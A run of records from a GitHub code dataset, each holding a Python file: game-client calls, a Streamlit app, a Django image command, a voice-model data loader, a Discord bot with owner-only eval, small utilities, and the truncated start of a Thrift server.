self._request_and_response('POST', '/gameSessionActive', {\n \"player_id\": player_id,\n \"quit\": True\n })\n if code != HTTPStatus.OK or response is None:\n return False\n else:\n return True\n\n def check_session_status(self, session_id: int) -> dict:\n code, response = self._request_and_response('GET', '/gameSessionStatus', {\n \"session_id\": session_id\n })\n if code != HTTPStatus.OK or response is None:\n return None\n else:\n return response[\"session\"]\n\n def answer_invitation(self, player_id: int, accept: bool) -> dict:\n code, response = self._request_and_response('POST', '/invitation', {\n \"player_id\": player_id,\n \"accepted\": accept\n })\n if code != HTTPStatus.OK:\n return None\n else:\n return response[\"session\"]\n\n def make_move(self, session_id: int, player_id: int, board_index: int) -> dict:\n code, response = self._request_and_response('POST', '/makeMove', {\n \"game_session\": session_id,\n \"player_id\": player_id,\n \"index_id\": board_index\n })\n if code != HTTPStatus.OK or response is None:\n return None\n else:\n return response[\"session\"]\n","repo_name":"jv-oliveira/Tictactoe_client_server","sub_path":"client/server_comm.py","file_name":"server_comm.py","file_ext":"py","file_size_in_byte":5572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14274851114","text":"from handler_panodr import panodrHandler \nimport logging\n\n_service = panodrHandler()\n\ndef handle(data, context):\n if not _service.initialized:\n _service.initialize(context)\n logging.info(\"initialition succeded\")\n\n if data is None:\n return None\n data = _service.preprocess(data)\n data = _service.inference(data)\n data = _service.postprocess(data)\n\n return data\n ","repo_name":"VCL3D/PanoDR","sub_path":"service/panohandler.py","file_name":"panohandler.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"18"} +{"seq_id":"17846369664","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\nimport streamlit as st\nimport pandas as pd\nimport plotly.express as px\n\n\nst.title('Data visualization and Interactive')\n\n\ndf=pd.read_csv(\"Student mental health.csv\")\ndf=pd.DataFrame(df)\nst.header('Mental health visualizations')\n\nfig = px.histogram(df, x=\"course\",color='gender',histfunc=\"count\",text_auto=True,title='Number of Course of each gender')\nst.plotly_chart(fig)\n\nhealth=pd.read_csv(\"healthy_lifestyle_city_2021 copy.csv\")\nst.header('Health lifestyle of cities(2021) visualizations')\nfig=px.scatter(health,x=\"City\",y=\"Sunshine hours(City)\",title=\"Sunshine hours of Cities\",color=\"City\",hover_name=\"City\")\nst.plotly_chart(fig)\n\nchoice = st.selectbox(\n 'Select the gender',\n ('Female', 'Male'))\nif choice == 'Female':\n df_female = df[df[\"gender\"]==\"Female\"]\n df_age_female = df_female.groupby([\"Age\"], as_index = False)[\"Timestamp\"].count()\n fig = px.pie(df_age_female , values='Age', names='Age', title='Age Distribution for Females')\n st.plotly_chart(fig)\nelse:\n df_male = df[df[\"gender\"]==\"Male\"]\n df_age_male = df_male.groupby([\"Age\"], as_index = False)[\"Timestamp\"].count()\n fig = px.pie(df_age_male , values='Age', names='Age', title='Age Distribution for Males')\n st.plotly_chart(fig)\n \ncost=st.slider(\"How much is the cost of bottle of water you buy?\",0.00,3.00) \nif cost>=0.15 and cost<=2.11:\n fig=px.box(health,y=\"Cost of a bottle of water(City)\",title=\"Cost of a bottle of water Cities\")\n st.plotly_chart(fig)\n st.write(\"cost of bottle of water you buy is: €\",cost)\noption = st.radio(\n 'Have you ever had a Panik attack?',\n ('yes','no'))\nif option==\"yes\":\n Panik_attack=df[df[\"Panic _attack\"]==\"Panik_attack\"]\n st.header('Find below a bar graph on number of females and males who had panik attack as a student')\n fig=px.bar(df, x=\"Panic _attack\",\n color='gender', barmode='group',\n height=400,title=\"Number of panic attacks of males and females\")\n \n st.plotly_chart(fig)\n","repo_name":"rhz03/streamlit","sub_path":"temp2.py","file_name":"temp2.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41463574271","text":"import io\nimport os\nimport time\nimport PIL.Image\n\nfrom django.core.management.base import BaseCommand, CommandError\nfrom django.db.models import F, Q\n\nimport requests\n\nfrom images.models import Image\n\n\ndef get_aspect_ratio(height: int, width: int):\n \"\"\"\n Returns the aspect ratio of an image.\n \"\"\"\n divider = 0\n i = height if height < width else width\n\n while i != 0:\n if height % i == 0 and width % i == 0:\n divider = i\n break\n i -= 1\n\n return f\"{int(width / divider)}:{int(height / divider)}\"\n\n\nclass Command(BaseCommand):\n def handle(self, *args, **options):\n images = Image.objects.filter(height=0, width=0).exclude(\n Q(file=\"\") or Q(file=None)\n )\n total_images = images.count()\n\n j = 1\n\n for image in images:\n r = requests.get(image.file.url)\n f = io.BytesIO(r.content)\n\n try:\n pil_image = PIL.Image.open(f)\n except:\n self.stderr.write(\n self.style.ERROR(\"ERROR\") + f\" - {image.id} - ({j}/{total_images})\"\n )\n j += 1\n continue\n\n image.height = pil_image.height\n image.width = pil_image.width\n\n pil_image.close()\n\n image.aspect_ratio = get_aspect_ratio(image.height, image.width)\n\n image.save()\n f.close()\n\n self.stdout.write(\n self.style.SUCCESS(\"SUCCESS\")\n + f\" - {image.id} - {image.height}x{image.width} [{image.aspect_ratio}] - ({j}/{total_images})\"\n )\n j += 1\n\n Image.objects.filter(height__gt=F(\"width\")).update(\n orientation=Image.Orientation.PORTRAIT\n )\n Image.objects.filter(width__gt=F(\"height\")).update(\n orientation=Image.Orientation.LANDSCAPE\n )\n Image.objects.filter(width=F(\"height\")).update(\n orientation=Image.Orientation.SQUARE\n )\n\n self.stdout.write(self.style.SUCCESS(\"ALL IMAGE DIMENSIONS UPDATED\"))\n","repo_name":"Nekos-API/Nekos-API","sub_path":"api/images/management/commands/image_size.py","file_name":"image_size.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"18"} +{"seq_id":"34984695814","text":"# Nikko Rush\n# 8/2/2017\n\nimport sys\n\nimport matplotlib\n\nimport PyQt5.QtCore as QtCore\nimport PyQt5.QtWidgets as QtWidgets\n\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg\nfrom matplotlib.figure import Figure\nimport numpy as np\n\nmatplotlib.use(\"Qt5Agg\")\n\n\nclass QMatplotlib(FigureCanvasQTAgg):\n\n def __init__(self, parent=None, width=5, height=4, dpi=100):\n self.figure = Figure(figsize=(width, height), dpi=dpi)\n self.axes = self.figure.add_subplot(111)\n\n self.get_initial()\n\n FigureCanvasQTAgg.__init__(self, self.figure)\n self.setParent(parent)\n\n FigureCanvasQTAgg.setSizePolicy(self, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\n FigureCanvasQTAgg.updateGeometry(self)\n\n def get_initial(self):\n t = np.arange(0.0, 3.0, 0.01)\n s = np.sin(2*np.pi*t)\n self.axes.plot(t, s, 'r')\n\n\nclass Application(QtWidgets.QMainWindow):\n\n def __init__(self):\n QtWidgets.QMainWindow.__init__(self)\n\n self.setAttribute(QtCore.Qt.WA_DeleteOnClose)\n\n self.main_widget = QtWidgets.QWidget(self)\n\n layout = QtWidgets.QVBoxLayout(self.main_widget)\n graph = QMatplotlib(parent=self.main_widget)\n layout.addWidget(graph)\n\n self.main_widget.setFocus()\n self.setCentralWidget(self.main_widget)\n\n\ndef test():\n import sys\n import PyQt5.QtWidgets as QtWidgets\n\n \"\"\"\n ZetCode PyQt4 tutorial \n\n In this example, we create a skeleton\n of a calculator using a QtGui.QGridLayout.\n\n author: Jan Bodnar\n website: zetcode.com \n last edited: July 2014\n \"\"\"\n\n class Example(QtWidgets.QWidget):\n\n def __init__(self):\n super(Example, self).__init__()\n\n self.init_ui()\n\n def init_ui(self):\n\n grid = QtWidgets.QGridLayout()\n self.setLayout(grid)\n\n names = ['Cls', 'Bck', '', 'Close',\n '7', '8', '9', '/',\n '4', '5', '6', '*',\n '1', '2', '3', '-',\n '0', '.', '=', '+']\n\n positions = [(i, j) for i in range(5) for j in range(4)]\n\n for position, name in zip(positions, names):\n\n if name == '':\n continue\n button = QtWidgets.QPushButton(name)\n grid.addWidget(button, *position)\n\n self.move(300, 150)\n self.setWindowTitle('Calculator')\n self.show()\n\n def main():\n app = QtWidgets.QApplication(sys.argv)\n ex = Example()\n sys.exit(app.exec_())\n\n main()\n\nif __name__ == \"__main__\":\n qApp = QtWidgets.QApplication(sys.argv)\n window = Application()\n\n window.show()\n sys.exit(qApp.exec_())\n # test()\n","repo_name":"nwrush/Visualization","sub_path":"Visualizer/frames/QtMatplotlib.py","file_name":"QtMatplotlib.py","file_ext":"py","file_size_in_byte":2762,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"18"} +{"seq_id":"29758649995","text":"import pandas as pd\n\nraw_words = {}\n\ntry:\n raw_words = pd.read_csv(\"data/to_learn.csv\")\nexcept FileNotFoundError:\n raw_words = pd.read_csv(\"data/french_words.csv\")\nfinally:\n words = raw_words.to_dict(orient=\"records\")\n\n\ndef save():\n wordlist = pd.DataFrame(words)\n wordlist.to_csv(\"data/to_learn.csv\", index=False)\n\n\nif __name__ == \"__main__\":\n for pair in words:\n print(pair)\n","repo_name":"pzgawronski/flashcards","sub_path":"wordlist.py","file_name":"wordlist.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2207247496","text":"#id 87593164\n\nreq_actions = {\n '+': lambda a, b: a + b,\n '-': lambda a, b: b - a,\n '*': lambda a, b: a * b,\n '/': lambda a, b: b // a\n}\n\n\nclass Stack:\n def __init__(self):\n self.__items = []\n\n def push(self, item):\n self.__items.append(item)\n\n def pop(self):\n if not self.__items:\n raise IndexError('Stack is empty')\n return self.__items.pop()\n\n\ndef pol_notation(items: list[str]) -> int:\n stack = Stack()\n for item in items:\n if item[-1].isdigit():\n stack.push(item)\n else:\n stack.push(req_actions[item](int(stack.pop()), int(stack.pop())))\n return stack.pop()\n\n\nif __name__ == '__main__':\n items: list[str] = input().split()\n print(pol_notation(items))\n","repo_name":"Tolik-vihodnoi/tasks","sub_path":"poland_notation.py","file_name":"poland_notation.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10873270866","text":"import os\nimport numpy as np\nimport random\nimport torch\nimport torch.utils.data\n\n\nfrom vits.utils import load_wav_to_torch\n\n\ndef load_filepaths(filename, split=\"|\"):\n with open(filename, encoding='utf-8') as f:\n filepaths = [line.strip().split(split) for line in f]\n return filepaths\n\n\nclass TextAudioSpeakerSet(torch.utils.data.Dataset):\n def __init__(self, filename, hparams):\n self.items = load_filepaths(filename)\n self.max_wav_value = hparams.max_wav_value\n self.sampling_rate = hparams.sampling_rate\n self.segment_size = hparams.segment_size\n self.hop_length = hparams.hop_length\n self._filter()\n print(f'----------{len(self.items)}----------')\n\n def _filter(self):\n lengths = []\n items_new = []\n items_min = int(self.segment_size / self.hop_length * 4) # 1 S\n items_max = int(self.segment_size / self.hop_length * 16) # 4 S\n for wavpath, spec, pitch, vec, ppg, spk in self.items:\n if not os.path.isfile(wavpath):\n continue\n if not os.path.isfile(spec):\n continue\n if not os.path.isfile(pitch):\n continue\n if not os.path.isfile(vec):\n continue\n if not os.path.isfile(ppg):\n continue\n if not os.path.isfile(spk):\n continue\n temp = np.load(pitch)\n usel = int(temp.shape[0] - 1) # useful length\n if (usel < items_min):\n continue\n if (usel >= items_max):\n usel = items_max\n items_new.append([wavpath, spec, pitch, vec, ppg, spk, usel])\n lengths.append(usel)\n self.items = items_new\n self.lengths = lengths\n\n def read_wav(self, filename):\n audio, sampling_rate = load_wav_to_torch(filename)\n assert sampling_rate == self.sampling_rate, f\"error: this sample rate of {filename} is {sampling_rate}\"\n audio_norm = audio / self.max_wav_value\n audio_norm = audio_norm.unsqueeze(0)\n return audio_norm\n\n def __getitem__(self, index):\n return self.my_getitem(index)\n\n def __len__(self):\n return len(self.items)\n\n def my_getitem(self, idx):\n item = self.items[idx]\n # print(item)\n wav = item[0]\n spe = item[1]\n pit = item[2]\n vec = item[3]\n ppg = item[4]\n spk = item[5]\n use = item[6]\n\n wav = self.read_wav(wav)\n spe = torch.load(spe)\n\n pit = np.load(pit)\n vec = np.load(vec)\n vec = np.repeat(vec, 2, 0) # 320 PPG -> 160 * 2\n ppg = np.load(ppg)\n ppg = np.repeat(ppg, 2, 0) # 320 PPG -> 160 * 2\n spk = np.load(spk)\n\n pit = torch.FloatTensor(pit)\n vec = torch.FloatTensor(vec)\n ppg = torch.FloatTensor(ppg)\n spk = torch.FloatTensor(spk)\n\n len_pit = pit.size()[0]\n len_vec = vec.size()[0] - 2 # for safe\n len_ppg = ppg.size()[0] - 2 # for safe\n len_min = min(len_pit, len_vec)\n len_min = min(len_min, len_ppg)\n len_wav = len_min * self.hop_length\n\n pit = pit[:len_min]\n vec = vec[:len_min, :]\n ppg = ppg[:len_min, :]\n spe = spe[:, :len_min]\n wav = wav[:, :len_wav]\n if len_min > use:\n max_frame_start = ppg.size(0) - use - 1\n frame_start = random.randint(0, max_frame_start)\n frame_end = frame_start + use\n\n pit = pit[frame_start:frame_end]\n vec = vec[frame_start:frame_end, :]\n ppg = ppg[frame_start:frame_end, :]\n spe = spe[:, frame_start:frame_end]\n\n wav_start = frame_start * self.hop_length\n wav_end = frame_end * self.hop_length\n wav = wav[:, wav_start:wav_end]\n # print(spe.shape)\n # print(wav.shape)\n # print(ppg.shape)\n # print(pit.shape)\n # print(spk.shape)\n return spe, wav, ppg, vec, pit, spk\n\n\nclass TextAudioSpeakerCollate:\n \"\"\"Zero-pads model inputs and targets\"\"\"\n\n def __call__(self, batch):\n # Right zero-pad all one-hot text sequences to max input length\n # mel: [freq, length]\n # wav: [1, length]\n # ppg: [len, 1024]\n # pit: [len]\n # spk: [256]\n _, ids_sorted_decreasing = torch.sort(\n torch.LongTensor([x[0].size(1) for x in batch]), dim=0, descending=True\n )\n\n max_spe_len = max([x[0].size(1) for x in batch])\n max_wav_len = max([x[1].size(1) for x in batch])\n spe_lengths = torch.LongTensor(len(batch))\n wav_lengths = torch.LongTensor(len(batch))\n spe_padded = torch.FloatTensor(\n len(batch), batch[0][0].size(0), max_spe_len)\n wav_padded = torch.FloatTensor(len(batch), 1, max_wav_len)\n spe_padded.zero_()\n wav_padded.zero_()\n\n max_ppg_len = max([x[2].size(0) for x in batch])\n ppg_lengths = torch.FloatTensor(len(batch))\n ppg_padded = torch.FloatTensor(\n len(batch), max_ppg_len, batch[0][2].size(1))\n vec_padded = torch.FloatTensor(\n len(batch), max_ppg_len, batch[0][3].size(1))\n pit_padded = torch.FloatTensor(len(batch), max_ppg_len)\n ppg_padded.zero_()\n vec_padded.zero_()\n pit_padded.zero_()\n spk = torch.FloatTensor(len(batch), batch[0][5].size(0))\n\n for i in range(len(ids_sorted_decreasing)):\n row = batch[ids_sorted_decreasing[i]]\n\n spe = row[0]\n spe_padded[i, :, : spe.size(1)] = spe\n spe_lengths[i] = spe.size(1)\n\n wav = row[1]\n wav_padded[i, :, : wav.size(1)] = wav\n wav_lengths[i] = wav.size(1)\n\n ppg = row[2]\n ppg_padded[i, : ppg.size(0), :] = ppg\n ppg_lengths[i] = ppg.size(0)\n\n vec = row[3]\n vec_padded[i, : vec.size(0), :] = vec\n\n pit = row[4]\n pit_padded[i, : pit.size(0)] = pit\n\n spk[i] = row[5]\n # print(ppg_padded.shape)\n # print(ppg_lengths.shape)\n # print(pit_padded.shape)\n # print(spk.shape)\n # print(spe_padded.shape)\n # print(spe_lengths.shape)\n # print(wav_padded.shape)\n # print(wav_lengths.shape)\n return (\n ppg_padded,\n ppg_lengths,\n vec_padded,\n pit_padded,\n spk,\n spe_padded,\n spe_lengths,\n wav_padded,\n wav_lengths,\n )\n\n\nclass DistributedBucketSampler(torch.utils.data.distributed.DistributedSampler):\n \"\"\"\n Maintain similar input lengths in a batch.\n Length groups are specified by boundaries.\n Ex) boundaries = [b1, b2, b3] -> any batch is included either {x | b1 < length(x) <=b2} or {x | b2 < length(x) <= b3}.\n It removes samples which are not included in the boundaries.\n Ex) boundaries = [b1, b2, b3] -> any x s.t. length(x) <= b1 or length(x) > b3 are discarded.\n \"\"\"\n\n def __init__(\n self,\n dataset,\n batch_size,\n boundaries,\n num_replicas=None,\n rank=None,\n shuffle=True,\n ):\n super().__init__(dataset, num_replicas=num_replicas, rank=rank, shuffle=shuffle)\n self.lengths = dataset.lengths\n self.batch_size = batch_size\n self.boundaries = boundaries\n\n self.buckets, self.num_samples_per_bucket = self._create_buckets()\n self.total_size = sum(self.num_samples_per_bucket)\n self.num_samples = self.total_size // self.num_replicas\n\n def _create_buckets(self):\n buckets = [[] for _ in range(len(self.boundaries) - 1)]\n for i in range(len(self.lengths)):\n length = self.lengths[i]\n idx_bucket = self._bisect(length)\n if idx_bucket != -1:\n buckets[idx_bucket].append(i)\n\n for i in range(len(buckets) - 1, 0, -1):\n if len(buckets[i]) == 0:\n buckets.pop(i)\n self.boundaries.pop(i + 1)\n\n num_samples_per_bucket = []\n for i in range(len(buckets)):\n len_bucket = len(buckets[i])\n total_batch_size = self.num_replicas * self.batch_size\n rem = (\n total_batch_size - (len_bucket % total_batch_size)\n ) % total_batch_size\n num_samples_per_bucket.append(len_bucket + rem)\n return buckets, num_samples_per_bucket\n\n def __iter__(self):\n # deterministically shuffle based on epoch\n g = torch.Generator()\n g.manual_seed(self.epoch)\n\n indices = []\n if self.shuffle:\n for bucket in self.buckets:\n indices.append(torch.randperm(\n len(bucket), generator=g).tolist())\n else:\n for bucket in self.buckets:\n indices.append(list(range(len(bucket))))\n\n batches = []\n for i in range(len(self.buckets)):\n bucket = self.buckets[i]\n len_bucket = len(bucket)\n if (len_bucket == 0):\n continue\n ids_bucket = indices[i]\n num_samples_bucket = self.num_samples_per_bucket[i]\n\n # add extra samples to make it evenly divisible\n rem = num_samples_bucket - len_bucket\n ids_bucket = (\n ids_bucket\n + ids_bucket * (rem // len_bucket)\n + ids_bucket[: (rem % len_bucket)]\n )\n\n # subsample\n ids_bucket = ids_bucket[self.rank:: self.num_replicas]\n\n # batching\n for j in range(len(ids_bucket) // self.batch_size):\n batch = [\n bucket[idx]\n for idx in ids_bucket[\n j * self.batch_size: (j + 1) * self.batch_size\n ]\n ]\n batches.append(batch)\n\n if self.shuffle:\n batch_ids = torch.randperm(len(batches), generator=g).tolist()\n batches = [batches[i] for i in batch_ids]\n self.batches = batches\n\n assert len(self.batches) * self.batch_size == self.num_samples\n return iter(self.batches)\n\n def _bisect(self, x, lo=0, hi=None):\n if hi is None:\n hi = len(self.boundaries) - 1\n\n if hi > lo:\n mid = (hi + lo) // 2\n if self.boundaries[mid] < x and x <= self.boundaries[mid + 1]:\n return mid\n elif x <= self.boundaries[mid]:\n return self._bisect(x, lo, mid)\n else:\n return self._bisect(x, mid + 1, hi)\n else:\n return -1\n\n def __len__(self):\n return self.num_samples // self.batch_size\n","repo_name":"PlayVoice/so-vits-svc-5.0","sub_path":"vits/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":10745,"program_lang":"python","lang":"en","doc_type":"code","stars":1994,"dataset":"github-code","pt":"18"} +{"seq_id":"30677505405","text":"import discord\nfrom discord.ext import commands\nimport io\nimport textwrap\nimport os\nimport traceback\nfrom contextlib import redirect_stdout\nfrom Admin.admin import Files\nintents = discord.Intents().default()\nintents.members = True\nbot = commands.Bot(command_prefix=Files.config(\"main\",\"prefix\"), intents=intents, case_insensitive=True, owner_ids=Files.config(\"main\", \"managers\"))\nbot.remove_command(\"help\")\n\n\ndef is_owner():\n def predicate(ctx):\n return ctx.author.id in bot.owner_ids\n return commands.check(predicate)\n\n@is_owner()\n@bot.command(aliases=[\"e\"])\nasync def eval(ctx, *, body: str):\n raw = False\n \"\"\"Evaluates a code\"\"\"\n\n env = {\n 'bot': bot,\n 'ctx': ctx,\n 'channel': ctx.message.channel,\n 'author': ctx.message.author,\n 'guild': ctx.message.guild,\n 'message': ctx.message,\n }\n env.update(globals())\n\n stdout = io.StringIO()\n\n to_compile = f'async def func():\\n{textwrap.indent(body, \" \")}'\n\n try:\n exec(to_compile, env)\n except Exception as e:\n return await ctx.send(f'```py\\n{e.__class__.__name__}: {e}\\n```')\n\n func = env['func']\n try:\n with redirect_stdout(stdout):\n ret = await func()\n except Exception:\n value = stdout.getvalue()\n await ctx.send(f'```py\\n{value}{traceback.format_exc()}\\n```')\n else:\n value = stdout.getvalue()\n try:\n await ctx.message.add_reaction('\\u2705')\n except:\n pass\n\n if ret is None:\n if value:\n if raw:\n await ctx.send(f\"{value}\")\n else:\n await ctx.send(f'```py\\n{value}\\n```')\n else:\n pass\n\n@bot.event\nasync def on_ready():\n print(\"Bot is ready!\")\n await bot.change_presence(activity=discord.Activity(type=discord.ActivityType.watching, name=\"over BytesToBits\"))\n\n@is_owner()\n@bot.command(hidden=True)\nasync def load(ctx, *, module):\n try:\n bot.load_extension(f\"cogs.{module}\")\n except commands.ExtensionError as e:\n await ctx.send(f'{e.__class__.__name__}: {e}')\n else:\n embed=discord.Embed(title=f\"Loaded {str(module).capitalize()}\", description=f\"Successfully loaded cogs.{str(module).lower()}!\", color=0x2cf818)\n await ctx.send(embed=embed)\n\n@is_owner()\n@bot.command(hidden=True)\nasync def unload(ctx, *, module):\n try:\n bot.unload_extension(f\"cogs.{module}\")\n except commands.ExtensionError as e:\n await ctx.send(f'{e.__class__.__name__}: {e}')\n else:\n embed=discord.Embed(title=f\"Unloaded {str(module).capitalize()}\", description=f\"Successfully unloaded cogs.{str(module).lower()}!\", color=0xeb1b2c)\n await ctx.send(embed=embed)\n\n@is_owner()\n@bot.command(name=\"reload\")\nasync def _reload(ctx, *, module):\n try:\n bot.reload_extension(f\"cogs.{module}\")\n except commands.ExtensionError as e:\n await ctx.send(f'{e.__class__.__name__}: {e}')\n else:\n embed=discord.Embed(title=f\"Reloaded {str(module).capitalize()}\", description=f\"Successfully reloaded cogs.{str(module).lower()}!\", color=0x00d4ff)\n await ctx.send(embed=embed)\n\nfor i in os.listdir(\"cogs\"):\n if i == \"staff\": pass\n else:\n cog = i[:-3]\n try:\n bot.load_extension(f\"cogs.{cog}\")\n print(f\"Loaded Main.{cog}\")\n except Exception as e:\n print(e)\n \nbot.run(Files.config(\"main\", \"token\"))\n","repo_name":"rockoj/BytesBump","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70248596840","text":"from django.db import models\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.core.paginator import Paginator, EmptyPage\n\n\ndef fattr(*args, **kwargs):\n\t\"\"\"\n\tReturns a wrapper which takes a function as its only argument and sets the key/value pairs passed in with kwargs as attributes on that function. This can be used as a decorator.\n\t\n\tExample::\n\t\n\t\t>>> from philo.utils import fattr\n\t\t>>> @fattr(short_description=\"Hello World!\")\n\t\t... def x():\n\t\t... pass\n\t\t... \n\t\t>>> x.short_description\n\t\t'Hello World!'\n\t\n\t\"\"\"\n\tdef wrapper(function):\n\t\tfor key in kwargs:\n\t\t\tsetattr(function, key, kwargs[key])\n\t\treturn function\n\treturn wrapper\n\n\n### ContentTypeLimiters\n\n\nclass ContentTypeLimiter(object):\n\tdef q_object(self):\n\t\treturn models.Q(pk__in=[])\n\t\n\tdef add_to_query(self, query, *args, **kwargs):\n\t\tquery.add_q(self.q_object(), *args, **kwargs)\n\n\nclass ContentTypeRegistryLimiter(ContentTypeLimiter):\n\t\"\"\"Can be used to limit the choices for a :class:`ForeignKey` or :class:`ManyToManyField` to the :class:`ContentType`\\ s which have been registered with this limiter.\"\"\"\n\tdef __init__(self):\n\t\tself.classes = []\n\t\n\tdef register_class(self, cls):\n\t\t\"\"\"Registers a model class with this limiter.\"\"\"\n\t\tself.classes.append(cls)\n\t\n\tdef unregister_class(self, cls):\n\t\t\"\"\"Unregisters a model class from this limiter.\"\"\"\n\t\tself.classes.remove(cls)\n\t\n\tdef q_object(self):\n\t\tcontenttype_pks = []\n\t\tfor cls in self.classes:\n\t\t\ttry:\n\t\t\t\tif issubclass(cls, models.Model):\n\t\t\t\t\tif not cls._meta.abstract:\n\t\t\t\t\t\tcontenttype = ContentType.objects.get_for_model(cls)\n\t\t\t\t\t\tcontenttype_pks.append(contenttype.pk)\n\t\t\texcept:\n\t\t\t\tpass\n\t\treturn models.Q(pk__in=contenttype_pks)\n\n\nclass ContentTypeSubclassLimiter(ContentTypeLimiter):\n\t\"\"\"\n\tCan be used to limit the choices for a :class:`ForeignKey` or :class:`ManyToManyField` to the :class:`ContentType`\\ s for all non-abstract models which subclass the class passed in on instantiation.\n\t\n\t:param cls: The class whose non-abstract subclasses will be valid choices.\n\t:param inclusive: Whether ``cls`` should also be considered a valid choice (if it is a non-abstract subclass of :class:`models.Model`)\n\t\n\t\"\"\"\n\tdef __init__(self, cls, inclusive=False):\n\t\tself.cls = cls\n\t\tself.inclusive = inclusive\n\t\n\tdef q_object(self):\n\t\tcontenttype_pks = []\n\t\tdef handle_subclasses(cls):\n\t\t\tfor subclass in cls.__subclasses__():\n\t\t\t\ttry:\n\t\t\t\t\tif issubclass(subclass, models.Model):\n\t\t\t\t\t\tif not subclass._meta.abstract:\n\t\t\t\t\t\t\tif not self.inclusive and subclass is self.cls:\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\tcontenttype = ContentType.objects.get_for_model(subclass)\n\t\t\t\t\t\t\tcontenttype_pks.append(contenttype.pk)\n\t\t\t\t\thandle_subclasses(subclass)\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\thandle_subclasses(self.cls)\n\t\treturn models.Q(pk__in=contenttype_pks)\n\n\n### Pagination\n\n\ndef paginate(objects, per_page=None, page_number=1):\n\t\"\"\"\n\tGiven a list of objects, return a (``paginator``, ``page``, ``objects``) tuple.\n\t\n\t:param objects: The list of objects to be paginated.\n\t:param per_page: The number of objects per page.\n\t:param page_number: The number of the current page.\n\t:returns tuple: (``paginator``, ``page``, ``objects``) where ``paginator`` is a :class:`django.core.paginator.Paginator` instance, ``page`` is the result of calling :meth:`Paginator.page` with ``page_number``, and objects is ``page.objects``. Any of the return values which can't be calculated will be returned as ``None``.\n\t\n\t\"\"\"\n\ttry:\n\t\tper_page = int(per_page)\n\texcept (TypeError, ValueError):\n\t\t# Then either it wasn't set or it was set to an invalid value\n\t\tpaginator = page = None\n\telse:\n\t\t# There also shouldn't be pagination if the list is too short. Try count()\n\t\t# first - good chance it's a queryset, where count is more efficient.\n\t\ttry:\n\t\t\tif objects.count() <= per_page:\n\t\t\t\tpaginator = page = None\n\t\texcept AttributeError:\n\t\t\tif len(objects) <= per_page:\n\t\t\t\tpaginator = page = None\n\t\n\ttry:\n\t\treturn paginator, page, objects\n\texcept NameError:\n\t\tpass\n\t\n\tpaginator = Paginator(objects, per_page)\n\ttry:\n\t\tpage_number = int(page_number)\n\texcept:\n\t\tpage_number = 1\n\t\n\ttry:\n\t\tpage = paginator.page(page_number)\n\texcept EmptyPage:\n\t\tpage = None\n\telse:\n\t\tobjects = page.object_list\n\t\n\treturn paginator, page, objects","repo_name":"ithinksw/philo","sub_path":"philo/utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4215,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"18"} +{"seq_id":"9698841080","text":"class Solution:\n max_int = 2147483647\n min_int = -2147483648\n\n def myAtoi(self, s: str) -> int:\n s = s.strip()\n sign = 1\n if not s:\n return 0\n if not s[0].isdigit() and s[0] not in \"+-\":\n return 0\n if s[0] == \"+\":\n s = s[1:]\n elif s[0] == \"-\":\n s = s[1:]\n sign = -1\n result = \"\"\n for char in s:\n if char.isdigit():\n result += char\n else:\n if result:\n interim = int(result) * sign if result else 0\n return max(min(interim, self.max_int), self.min_int)\n else:\n return 0\n interim = int(result) * sign if result else 0\n return max(min(interim, self.max_int), self.min_int)\n\n\nif __name__ == '__main__':\n solution = Solution()\n print(solution.myAtoi(\"74859jfth\"))\n print(solution.myAtoi(\" -74\"))\n print(solution.myAtoi(\"+876\"))\n","repo_name":"manokhina/coding-challenges","sub_path":"custom/atoi.py","file_name":"atoi.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26122124905","text":"__author__ = 'hungtantran'\r\n\r\n\r\nimport threading\r\n\r\nimport logger\r\nimport models.ServiceQuery\r\n\r\nimport thrift.transport.TSocket\r\nimport thrift.transport.TTransport\r\nimport thrift.protocol.TBinaryProtocol\r\nimport thrift.server.TServer\r\n\r\n\r\nclass ThriftIndexServer(object):\r\n def __init__(self, host, port, handler):\r\n logger.Logger.log(\r\n logger.LogLevel.INFO,\r\n 'Start index server %s at %s:%s' % (handler.get_service_name(), host, port))\r\n self.host = host\r\n self.port = port\r\n self.handler = handler\r\n\r\n def __enter__(self):\r\n processor = models.ServiceQuery.Processor(self.handler)\r\n transport = thrift.transport.TSocket.TServerSocket(host=self.host, port=self.port)\r\n tfactory = thrift.transport.TTransport.TBufferedTransportFactory()\r\n pfactory = thrift.protocol.TBinaryProtocol.TBinaryProtocolFactory()\r\n\r\n self.server = thrift.server.TServer.TSimpleServer(processor, transport, tfactory, pfactory)\r\n\r\n return self\r\n\r\n def serve(self):\r\n self.server.serve()\r\n\r\n def __exit__(self, exc_type, exc_val, exc_tb):\r\n logger.Logger.log(logger.LogLevel.INFO, 'Server exit with type %s, val %s, traceback %s' % (\r\n exc_type, exc_val, exc_tb))\r\n\r\n\r\nclass 